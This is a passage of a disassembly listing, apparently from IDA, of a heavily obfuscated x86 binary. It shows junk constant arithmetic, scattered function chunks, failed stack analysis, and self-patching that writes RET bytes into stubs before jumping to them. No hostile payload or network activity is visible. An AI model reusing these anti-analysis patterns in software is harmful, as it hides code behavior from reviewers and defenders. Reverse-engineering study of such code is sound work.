		sub	ebx, ebp
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_44748B:				; CODE XREF: sub_444A5E:loc_437085j
		sub	eax, 0B2845874h
		xor	eax, 0C9E58DAFh
		call	sub_43BF6F
		push	esi
		push	0B0801C4h
		pop	esi
		and	esi, 22CE2689h
		jmp	loc_4420B8
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------

loc_4474AE:				; CODE XREF: kgbikm34:00446F58j
		popf
		push	edx

loc_4474B0:				; CODE XREF: kgbikm34:loc_4404EBj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43FA3D
		jmp	loc_44C3AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_4474C1:				; CODE XREF: sub_4407E7:loc_44B38Dj
		jz	loc_44D653
; END OF FUNCTION CHUNK	FOR sub_4407E7
; START	OF FUNCTION CHUNK FOR sub_4466A3

loc_4474C7:				; CODE XREF: sub_4466A3+1628j
		jmp	loc_4386D7
; END OF FUNCTION CHUNK	FOR sub_4466A3
; ---------------------------------------------------------------------------
		xchg	ebp, [ecx]
		xchg	esi, ecx
		jmp	loc_44D645

; =============== S U B	R O U T	I N E =======================================



sub_4474D5	proc near		; CODE XREF: kgbikm34:00440C13j
					; sub_4478CD:loc_442F3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 00437141 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004383F2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A464 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B50A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043B8BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BA64 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043CEB5 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0043CEBE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043D575 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 0043DCD8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DD30 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043ECC6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043F36D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043F395 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043F5BE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043FAC1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043FB98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044053F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440B68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441549 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00441A26 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044216F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004423B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00442537 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00442616 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00442944 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442A03 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00442D63 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442DCD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00443741 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044425D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444FE4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004451EF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445433 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004454B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445674 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044576E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00446A49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004472FB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044798B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447D48 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00447F8E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00448091 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044916B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044925B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044927D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449AA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BF40 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044C655 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044CD08 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CE83 SIZE 00000009 BYTES

		xchg	eax, [esp-8+arg_4]
		pop	eax
		push	0FF73188Bh

loc_4474DE:				; CODE XREF: sub_43BF6F:loc_44C1E4j
		pop	eax
		sub	eax, 76B4D5AEh
		and	eax, 8BE0A883h
		jmp	loc_441A26
sub_4474D5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_4474F1:				; CODE XREF: kgbikm34:0044986Fj
		jmp	loc_439049
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_4474F6:				; CODE XREF: sub_440443:loc_446FB2j
		jmp	loc_4428C5
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44903A

loc_4474FB:				; CODE XREF: sub_44903A:loc_446C69j
		mov	eax, [eax]
		popf
		mov	al, [eax]
		push	offset sub_439B90
		jmp	loc_4420B2
; END OF FUNCTION CHUNK	FOR sub_44903A
; ---------------------------------------------------------------------------

loc_44750A:				; CODE XREF: kgbikm34:004412B4j
		jz	loc_43F21C
		jmp	loc_444DB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_447515:				; CODE XREF: sub_43DC9A+4AC6j
		mov	eax, [ebp-4]
		call	sub_44A89F

loc_44751D:				; CODE XREF: kgbikm34:00441530j
		ja	loc_43C04A
		sbb	esi, 38AED5A4h
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; START	OF FUNCTION CHUNK FOR sub_449D87

loc_447529:				; CODE XREF: sub_449D87+17j
		and	eax, 0AC616F6Ah
		xor	eax, 0A00DBBB8h
		jmp	loc_4415F0
; END OF FUNCTION CHUNK	FOR sub_449D87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9D6

loc_44753A:				; CODE XREF: sub_43C9D6:loc_438524j
					; kgbikm34:00438538j
		sub	edi, 15DC7A8Dh
		add	edi, 0A907118Bh
		xchg	edi, [esp+0]
		jmp	sub_4400C7
; END OF FUNCTION CHUNK	FOR sub_43C9D6
; ---------------------------------------------------------------------------
		shl	eax, 7
		jmp	sub_43CB87
; ---------------------------------------------------------------------------

loc_447556:				; CODE XREF: kgbikm34:loc_443E6Dj
		jnz	loc_44812A
		jmp	loc_44C235
; ---------------------------------------------------------------------------

locret_447561:				; CODE XREF: kgbikm34:0043C6EDj
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449880

loc_447563:				; CODE XREF: sub_449880-1058Fj
		jmp	loc_443CFB
; END OF FUNCTION CHUNK	FOR sub_449880
; ---------------------------------------------------------------------------
		mov	ds:off_41E140, eax
		lea	eax, sub_43C267
		mov	byte ptr [eax],	0C3h
		jmp	sub_43C267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C267

loc_44757C:				; CODE XREF: sub_43C267+1j
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_4423B8
; END OF FUNCTION CHUNK	FOR sub_43C267
; ---------------------------------------------------------------------------
		mov	eax, 64A3F24h
		call	sub_440F62
		mov	ds:off_41E218, eax
		lea	eax, sub_44B6E1
		mov	byte ptr [eax],	0C3h
		jmp	loc_445A4D
; ---------------------------------------------------------------------------
		call	nullsub_16
		jmp	ds:dword_41E000
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44739D

loc_4475AE:				; CODE XREF: sub_44739D+Fj
		jmp	loc_43A67C
; END OF FUNCTION CHUNK	FOR sub_44739D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA71

loc_4475B3:				; CODE XREF: sub_43FA71-7691j
		jmp	loc_44CFBA
; END OF FUNCTION CHUNK	FOR sub_43FA71
; ---------------------------------------------------------------------------

loc_4475B8:				; CODE XREF: kgbikm34:00444E17j
		pop	ecx
		push	offset sub_44A7AF
		jmp	locret_43B6EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449893

loc_4475C3:				; CODE XREF: sub_449893-F3Aj
		jz	loc_442C69
		jmp	loc_4464E2
; END OF FUNCTION CHUNK	FOR sub_449893
; ---------------------------------------------------------------------------

loc_4475CE:				; DATA XREF: sub_43EB8F+C04Ao
		xchg	edi, [esp]
		mov	esi, edi
		pop	edi
		or	esi, 0F0291C6h
		jmp	loc_44D248
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4424F7

loc_4475DF:				; CODE XREF: sub_4424F7+8F41j
		mov	ecx, eax
		sbb	ebx, 2086B381h
		jmp	loc_44743D
; END OF FUNCTION CHUNK	FOR sub_4424F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444600

loc_4475EC:				; CODE XREF: sub_444600-161Dj
		nop
		mov	eax, 23829242h
		call	sub_43BF6F
		push	edx
		push	2D7C2BFDh
		jmp	loc_44DEE2
; END OF FUNCTION CHUNK	FOR sub_444600
; ---------------------------------------------------------------------------

loc_447602:				; CODE XREF: kgbikm34:0043C08Cj
		mov	eax, 19A5E09Eh
		push	offset sub_448322
		jmp	locret_446FEE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44964D

loc_447612:				; CODE XREF: sub_44964D-6311j
		jmp	loc_43D158
; END OF FUNCTION CHUNK	FOR sub_44964D
; ---------------------------------------------------------------------------

loc_447617:				; CODE XREF: kgbikm34:loc_447D7Ej
		test	edx, 1
		jmp	loc_43A487
; ---------------------------------------------------------------------------

loc_447622:				; CODE XREF: kgbikm34:0043BA16j
		push	0E3536080h
		xchg	ebx, [esp]
		mov	edi, ebx
		pop	ebx
		xor	edi, 0AD0EB1D8h
		sub	edi, 0FCC59187h
		and	edi, 0CE17292Dh
		jmp	loc_44A5FF
; ---------------------------------------------------------------------------

loc_447644:				; CODE XREF: kgbikm34:004392A4j
		jnz	loc_44BFC9
		xchg	edi, ebp
		add	edx, 0FF14C134h
		and	ebp, edi
		jp	sub_43DFA4
		jmp	loc_44BFC9
; ---------------------------------------------------------------------------
		mov	eax, 0F38AA262h
		call	sub_43BF6F
		push	ecx
		call	sub_43CCD0
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_44766F:				; CODE XREF: sub_43DC42+4588j
		jmp	sub_44824C
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------
		test	edx, ebp
		jmp	loc_43E7AF
; ---------------------------------------------------------------------------

loc_44767B:				; DATA XREF: kgbikm34:0043C455o
		or	edx, edx
		jnz	loc_442A80
		jmp	loc_43C5CD
; ---------------------------------------------------------------------------

loc_447688:				; CODE XREF: kgbikm34:0044145Bj
		jmp	ds:off_41E064
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_44768E:				; CODE XREF: kgbikm34:loc_44126Bj
					; sub_4418C2+2B46j ...
		jo	loc_43AC9B
		xchg	esi, [esp-4+arg_0]
		xor	edx, edi
		jmp	loc_44049F
; END OF FUNCTION CHUNK	FOR sub_43D494

; =============== S U B	R O U T	I N E =======================================



sub_44769E	proc near		; CODE XREF: kgbikm34:00444CDCj
					; sub_446F45+2B7Bp

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	ecx, [esp-4+arg_0]
		call	sub_44B20C
		push	4457D7D9h
		xchg	ebx, [esp+0]
		mov	eax, ebx
		jmp	loc_44159B
sub_44769E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A179

loc_4476B9:				; CODE XREF: sub_43A179+Bj
		mov	eax, [esp-8+arg_4]
		push	eax
		mov	eax, edx
		xchg	eax, [esp-4+arg_0]
		push	eax
		jmp	loc_4468AB
; END OF FUNCTION CHUNK	FOR sub_43A179
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_4476C8:				; CODE XREF: sub_447B31+3773j
		xor	ebp, edx

loc_4476CA:				; CODE XREF: sub_447B31:loc_444DEBj
		push	7B26E11Fh
		pop	eax
		or	eax, 8D4A35DEh
		jmp	loc_441661
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_4476DB:				; CODE XREF: sub_438B6B+13652j
		pop	ecx
		and	edi, 0B099F845h
		xor	edi, 58C8B5DDh
		cmp	edi, 0A81E7CDBh
		jmp	loc_448A2A
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3C5

loc_4476F3:				; CODE XREF: kgbikm34:0044699Dj
					; sub_43F3C5+BC50j
		xor	edx, 55562428h
		rol	edx, 0Ch
		call	sub_445088
		push	ebp
		jmp	sub_445CCB
; END OF FUNCTION CHUNK	FOR sub_43F3C5
; ---------------------------------------------------------------------------
		call	sub_44C2D0
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_44770C:				; CODE XREF: sub_440E0B+8C68j
		pop	esi
		add	esi, 75E8C8AAh
		xor	esi, 5FFF1F1Ah
		cmp	esi, 3E0BA9EFh
		jmp	loc_44A0BB
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------

loc_447724:				; CODE XREF: kgbikm34:0044E102j
		jz	loc_443178
		sub	ebp, ecx

; =============== S U B	R O U T	I N E =======================================



sub_44772C	proc near		; CODE XREF: sub_44649E-5F74p

; FUNCTION CHUNK AT 00439D2F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043ACC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CBD8 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043D54D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EFFC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004425E3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00446108 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044AEAD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C27B SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0F1C2C9BAh
		jmp	loc_44AEAD
sub_44772C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44773A:				; CODE XREF: kgbikm34:0044D919j
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_43B89E

loc_44773B:				; CODE XREF: sub_43B89E:loc_44D90Cj
		add	ecx, 3BE4AC47h
		xchg	ecx, [esp+4+var_4]
		jmp	loc_44620A
; END OF FUNCTION CHUNK	FOR sub_43B89E

; =============== S U B	R O U T	I N E =======================================



sub_447749	proc near		; CODE XREF: sub_44DAF3:loc_43B8B6p
					; kgbikm34:00445046j
		xchg	ecx, [esp+0]
		pop	ecx
		push	0C9D5A7A5h
		pop	eax
		jmp	loc_43A40A
sub_447749	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_239. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB9F

loc_447759:				; CODE XREF: sub_44BB9F:loc_447C07j
		and	eax, 9B95CE51h
		or	eax, 7AE1B87Ah
		add	eax, 0A40F509Bh
		add	eax, ebp
		add	eax, 60FEF4E6h
		jmp	loc_44104E
; END OF FUNCTION CHUNK	FOR sub_44BB9F
; ---------------------------------------------------------------------------
		mov	[ecx], ebx
		jmp	sub_43F77F
; ---------------------------------------------------------------------------

loc_44777F:				; DATA XREF: sub_4464FC+482Fo
		mov	byte ptr [eax],	0C3h
		jmp	sub_4438B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A6A

loc_447787:				; CODE XREF: sub_437A6A+4j
		mov	eax, [esp-4+arg_0]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+0]
		jmp	loc_440E6E
; END OF FUNCTION CHUNK	FOR sub_437A6A
; ---------------------------------------------------------------------------
		call	sub_43993A

loc_44779A:				; DATA XREF: kgbikm34:0044971Bo
		push	0F15083E7h
		pop	esi
		xor	esi, 6C87A985h
		add	esi, 0D7C900B2h
		sub	esi, 0A5EF14ABh
		test	esi, 800h
		jmp	loc_44D710
; ---------------------------------------------------------------------------
		xchg	ecx, edx
		shl	edx, 1Ch
		jmp	sub_4481BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444681

loc_4477C7:				; CODE XREF: sub_444681:loc_43D980j
		jz	loc_44DBC4

loc_4477CD:				; CODE XREF: kgbikm34:0043C984j
		jmp	nullsub_12
; END OF FUNCTION CHUNK	FOR sub_444681
; ---------------------------------------------------------------------------

loc_4477D2:				; CODE XREF: kgbikm34:0043886Dj
		jmp	loc_43B2DB
; ---------------------------------------------------------------------------
		test	edi, esi
		jmp	loc_43BC5B
; ---------------------------------------------------------------------------
		cmp	edx, edi
		jmp	loc_441722
; ---------------------------------------------------------------------------

loc_4477E5:				; DATA XREF: sub_449D78:loc_442003o
		push	ecx
		push	8B6844Ch
		pop	ecx
		or	ecx, 0F6FBD4D2h
		rol	ecx, 0Bh
		cmp	ecx, 0B949CFACh
		jmp	loc_43D6C8

; =============== S U B	R O U T	I N E =======================================



sub_447800	proc near		; CODE XREF: kgbikm34:00442716j
					; sub_444F4B+12p
		xchg	esi, [esp+0]
		pop	esi
		xor	eax, 0EF5B91DCh
		call	sub_43BF6F
		push	offset loc_43BC7D
		jmp	sub_43FE49
sub_447800	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_447819:				; DATA XREF: sub_44ABBB-69F5o
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_43B9ED
		mov	eax, [ebp-4]
		cmp	word ptr [eax],	2ECDh
		jz	loc_43B9ED
		jmp	loc_43B9E8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44710C

loc_447837:				; CODE XREF: sub_44710C+6j
		pop	edi
		xor	edi, 225BC2F6h
		js	loc_43C8B9
		shr	edx, 11h
		ror	ebp, 2
		jmp	loc_43C8B7
; END OF FUNCTION CHUNK	FOR sub_44710C
; ---------------------------------------------------------------------------

loc_44784F:				; CODE XREF: kgbikm34:loc_43CCAFj
		add	eax, ds:4000F5h
		sub	eax, 1471AB2Eh
		add	eax, 0A5D62C83h
		xchg	eax, [esp]
		jmp	sub_43C7C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_447869:				; CODE XREF: sub_43ACD5+3CD5j
		jz	loc_44B7E6

loc_44786F:				; CODE XREF: sub_43717F+1393Fj
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
		cmp	ecx, 5680D8C3h
		jmp	loc_43B7B9
; ---------------------------------------------------------------------------

loc_44787F:				; CODE XREF: kgbikm34:0044D108j
		call	sub_43B051
		cmp	eax, [ebp-8]
		jnz	loc_43AFA8
		mov	eax, [ebp-14h]
		jmp	loc_438915
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B5D

loc_447895:				; CODE XREF: sub_442B5D:loc_441651j
		rol	eax, 7

loc_447898:				; CODE XREF: sub_449F77+1D8Bj
		call	sub_44553C

loc_44789D:				; CODE XREF: sub_4375D0+Aj
		jmp	loc_44C2E2
; END OF FUNCTION CHUNK	FOR sub_442B5D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_366. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4478A3:				; CODE XREF: kgbikm34:0043C352j
		jmp	loc_44ABEE

; =============== S U B	R O U T	I N E =======================================



sub_4478A8	proc near		; CODE XREF: kgbikm34:00439EC6p
					; kgbikm34:0044B848j

; FUNCTION CHUNK AT 00448377 SIZE 0000000A BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	edx, ebp
		push	ebx
		jmp	loc_448377
sub_4478A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_4478B4:				; CODE XREF: sub_442B15+71E5j
		call	sub_4385AD

loc_4478B9:				; CODE XREF: sub_44D600:loc_44D60Aj
		mov	ds:dword_41E000, eax
		lea	eax, nullsub_16
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_16
; END OF FUNCTION CHUNK	FOR sub_442B15

; =============== S U B	R O U T	I N E =======================================



sub_4478CD	proc near		; CODE XREF: sub_405136+1Bp
					; sub_4051EF+1Fp
					; DATA XREF: ...

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00439AD1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043AEE9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D389 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F90F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004409E2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044143D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004415EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442F3C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004436AE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004441E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444BC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004465F0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044833B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00448CAF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044A4C4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044AF14 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B61D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C3F7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044CA36 SIZE 00000007 BYTES

		js	loc_44AF14
		jmp	loc_4415EB
sub_4478CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4478D8:				; CODE XREF: kgbikm34:loc_44D42Bj
		jz	loc_43E893
; START	OF FUNCTION CHUNK FOR sub_44087D

loc_4478DE:				; CODE XREF: sub_44087D+11j
		jmp	loc_4449B7
; END OF FUNCTION CHUNK	FOR sub_44087D
; ---------------------------------------------------------------------------
		mov	ebx, 0B070FD67h
		sub	ecx, 89BEA5CCh
		push	1A3444DAh
		jmp	loc_43E887
; ---------------------------------------------------------------------------

loc_4478F8:				; DATA XREF: sub_44CEEA+9o
		mov	[ebp-4], eax

loc_4478FB:				; CODE XREF: kgbikm34:loc_445C1Dj
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jmp	loc_43F2EF
; ---------------------------------------------------------------------------

loc_447909:				; CODE XREF: kgbikm34:loc_4469DDj
		push	3E6B07EEh
		pop	edx
		xor	edx, 34E5C327h
		sub	edx, 0E997777Ch
		rol	edx, 1Ch
		add	edx, 2E348DE5h
		xchg	edx, [esp]
		jmp	nullsub_13
; ---------------------------------------------------------------------------

loc_44792C:				; CODE XREF: kgbikm34:00437564j
		jnb	loc_449B67
		xor	edx, 288C2605h
; START	OF FUNCTION CHUNK FOR sub_43C267

loc_447938:				; CODE XREF: sub_43C267+1156Aj
		add	ebx, 5DDF20AAh
		xchg	ebx, [esp+0]
		jmp	sub_445A5E
; END OF FUNCTION CHUNK	FOR sub_43C267
; ---------------------------------------------------------------------------

loc_447946:				; CODE XREF: kgbikm34:loc_446C6Ej
		pop	ebp
		sub	esi, 30B97FCDh
		or	esi, 80D1C106h
		sub	esi, 0FDF0F861h
		and	esi, 0DF5F9B87h
		cmp	esi, 2030682Eh
		jmp	loc_4413C1
; ---------------------------------------------------------------------------
		adc	ebx, 517A75C7h
		jmp	sub_43B197
; ---------------------------------------------------------------------------

loc_447975:				; DATA XREF: kgbikm34:loc_43A258o
		mov	eax, [ebp-4]
		mov	ax, [eax]
		and	ax, 38FFh

loc_44797F:				; CODE XREF: kgbikm34:loc_4427BFj
		cmp	ax, 20FFh
		jz	loc_43CEBE
		xor	eax, eax
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_44798B:				; CODE XREF: sub_4474D5:loc_4472FBj
		mov	[ebp-5], al
		mov	al, [ebp-5]
		jmp	loc_43CEB5
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_447996:				; CODE XREF: sub_43EAEE-338Cj
		or	ebx, edi
		sub	eax, ecx

loc_44799A:				; CODE XREF: sub_43EAEE:loc_445884j
		mov	eax, [esp+0]
		push	eax
		push	ecx
		push	0A918C9BAh
		pop	ecx
		jmp	loc_43E402
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448BC4

loc_4479AA:				; CODE XREF: sub_448BC4-E6CEj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_448BC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4466A3

loc_4479AC:				; CODE XREF: sub_4466A3+8j
		jmp	loc_447CBD
; END OF FUNCTION CHUNK	FOR sub_4466A3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4479B1	proc near		; CODE XREF: kgbikm34:00439A9Dp
					; sub_439BDE+4p ...

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00437734 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A0B5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043B363 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043C878 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444AD7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445929 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004497DF SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		jns	sub_4440BA
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_8], edx
		call	sub_44BE96

loc_4479C5:				; CODE XREF: kgbikm34:0043D310j
		jmp	loc_445929
sub_4479B1	endp

; ---------------------------------------------------------------------------

loc_4479CA:				; CODE XREF: kgbikm34:loc_43C5CDj
		jz	loc_44CEC0
		jmp	loc_444698

; =============== S U B	R O U T	I N E =======================================



sub_4479D5	proc near		; CODE XREF: sub_44368F:loc_4412D6p
					; kgbikm34:00442AF3j

; FUNCTION CHUNK AT 004390FD SIZE 0000001C BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-24h]
		push	0F87F27E4h
		pop	ecx
		jmp	loc_4390FD
sub_4479D5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4479E7:				; CODE XREF: kgbikm34:loc_440EA9j
		add	ecx, 90354119h
		or	ecx, 5096CDA9h
		add	ecx, 20AD701Fh
		xchg	ecx, [esp]
		jmp	sub_44BA42
; ---------------------------------------------------------------------------

loc_447A01:				; CODE XREF: kgbikm34:004465BFj
		xor	esi, 78CA372Bh
		add	esi, 274937E3h
		xchg	esi, [esp]
		jmp	loc_43D19A
; ---------------------------------------------------------------------------

loc_447A15:				; DATA XREF: sub_437ABD:loc_43D0F9o
		pop	edx
		mov	eax, [esp]
		push	edx
		push	edi
		push	9E2653B9h
		pop	edi
		sub	edi, 50BAA787h
		jmp	loc_445428
; ---------------------------------------------------------------------------
		dd 7AF5840Fh, 0FA81FFFFh, 0FF476EF5h, 0FFA918E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448CCA

loc_447A3D:				; CODE XREF: sub_448CCA:loc_43FB93j
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	ecx
		mov	ecx, edx
		call	sub_43C1F4
; END OF FUNCTION CHUNK	FOR sub_448CCA
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_447A49:				; CODE XREF: sub_43E4C0+2892j
		jmp	loc_446BEF
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_447A4E:				; CODE XREF: sub_4394EB+54D9j
		jge	loc_44311C

loc_447A54:				; CODE XREF: kgbikm34:0043723Cj
		jmp	nullsub_147
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------
		mov	ebx, 0D4AFA892h
		mov	ebp, ebx
		sub	ecx, ebp
		add	edx, ecx
		jmp	loc_43BB4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B5BA

